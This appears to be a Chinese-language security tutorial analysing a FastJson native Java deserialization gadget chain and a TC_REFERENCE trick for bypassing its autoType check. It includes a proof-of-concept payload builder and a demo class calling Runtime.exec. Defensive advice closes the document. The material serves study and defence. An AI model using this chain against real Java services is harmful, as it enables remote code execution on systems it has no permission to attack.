fastjson原生反序列化链分析
字数 2055 2025-08-29 08:30:18
FastJson原生反序列化链深入分析与教学文档
前言
FastJson原生反序列化链与之前分析的FastJson解析JSON数据时的利用链有本质区别:
- 传统FastJson利用链:通过构造恶意JSON数据,利用FastJson解析过程中的漏洞(涉及1.2.24-1.2.80等版本的绕过和额外依赖)
- 原生反序列化链:利用FastJson内部函数调用关系,结合Java原生反序列化机制进行攻击
核心利用原理
基本攻击链
- 入口点:利用
BadAttributeValueExpException对象的readObject方法 - 调用链:
BadAttributeValueExpException.readObject()- 调用
ToStringBean.toString() - 由于
val字段是JSONArray对象,会调用JSONArray.toString() JSONArray没有toString()方法,转而调用JSON.toString()JSON.toString()调用自身的toJSONString()方法toJSONString()能够调用任意类的getter方法- 最终触发目标对象(如
template)的getOutputProperties()方法
关键点解析
-
BadAttributeValueExpException的作用:
- 作为反序列化的入口点
- 其
readObject方法会触发toString()调用链
-
JSONArray的特殊处理:
- 没有自己的
toString()方法,导致调用链转向JSON.toString() - 这种间接调用是绕过某些限制的关键
- 没有自己的
-
getter方法调用机制:
- FastJson的
toJSONString()会自动调用对象的getter方法 - 这是最终执行恶意代码的关键环节
- FastJson的
详细调用栈分析
典型调用栈示例
1. A.getName() [自定义恶意方法]
2. ASMSerializer_1_A.write() [FastJson生成的ASM序列化器]
3. JSON.write() [FastJson核心序列化方法]
4. JSON.toJSONString() [触发getter方法调用]
5. JSONArray.toString() [间接调用]
6. ToStringBean.toString() [中间转换]
7. BadAttributeValueExpException.readObject() [反序列化入口]
8. ObjectInputStream.readObject() [Java原生反序列化]
关键调试发现
-
HashMap的角色:
- 当key设置为空时,反序列化会失败
- 必须正确构造key-value对才能成功触发调用链
-
BadAttributeValueExpException内部处理:
- 通过
ObjectInputStream.readFields读取属性值 - 递归调用
readObject0方法处理嵌套对象
- 通过
-
JSONArray的反序列化:
- 最终调用
com.alibaba.fastjson.JSONArray.readObject - 内部使用
SecureObjectInputStream进行安全检查
- 最终调用
绕过安全检查机制
核心问题
当尝试反序列化被JSONArray嵌套的类时:
- FastJson会将
ObjectInputStream封装为SecureObjectInputStream - 这会触发
checkAutoType检查,可能导致反序列化失败
绕过方法
-
提前序列化技术:
- 在
BadAttributeValueExpException之前序列化目标类 - 利用
TC_REFERENCE机制(对象已被写入序列化流) - 这样会进入
readHandle()而非readOrdinaryObject() - 从而绕过
checkAutoType检查
- 在
-
关键payload结构:
// 正确顺序 serialized_A_object serialized_BadAttributeValueExpException_object -
检查机制差异:
- 普通类(如A类):使用标准
ObjectInputStream.resolveClass - 嵌套在
JSONArray中的类:使用SecureObjectInputStream.resolveClass
- 普通类(如A类):使用标准
完整攻击流程总结
-
构造恶意对象:
- 创建包含恶意getter方法的类(如
A) - 将其实例放入
JSONArray
- 创建包含恶意getter方法的类(如
-
构建调用链:
- 将
JSONArray设置为BadAttributeValueExpException的val属性 - 确保在序列化流中先序列化恶意类,再序列化
BadAttributeValueExpException
- 将
-
绕过安全检查:
- 利用
TC_REFERENCE机制避免checkAutoType检查 - 确保恶意类在安全检查前已被加载
- 利用
-
触发执行:
- 反序列化时自动触发完整调用链
- 最终执行恶意getter方法中的代码
防御建议
-
FastJson安全配置:
- 更新至最新版本
- 启用
safeMode模式 - 严格配置
autoTypeCheck白名单
-
Java反序列化防护:
- 使用
ObjectInputFilter限制反序列化类 - 替换不安全的反序列化实现
- 使用
-
代码审计重点:
- 检查所有
readObject实现 - 特别注意
toString()和getter方法的调用链
- 检查所有
附录:关键代码片段
恶意类示例
public class A {
private String name;
// 恶意getter方法
public String getName() {
// 恶意代码执行
Runtime.getRuntime().exec("calc");
return name;
}
}
Payload构造关键
// 1. 创建恶意对象
A a = new A();
// 2. 构建JSONArray
JSONArray jsonArray = new JSONArray();
jsonArray.add(a);
// 3. 设置BadAttributeValueExpException
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(bad, jsonArray);
// 4. 序列化时确保顺序
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(a); // 先序列化恶意对象
oos.writeObject(bad); // 再序列化BadAttributeValueExpException
oos.close();
安全检查绕过原理
// SecureObjectInputStream.resolveClass实现片段
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String className = desc.getName();
// 严格的autoType检查
if (!TypeUtils.isSafeClass(className)) {
throw new InvalidClassException("autoType is not support. " + className);
}
return super.resolveClass(desc);
}
通过本教学文档,您应该深入理解了FastJson原生反序列化链的工作原理、利用方法和防御策略。在实际应用中,务必谨慎处理反序列化操作,并实施严格的安全措施。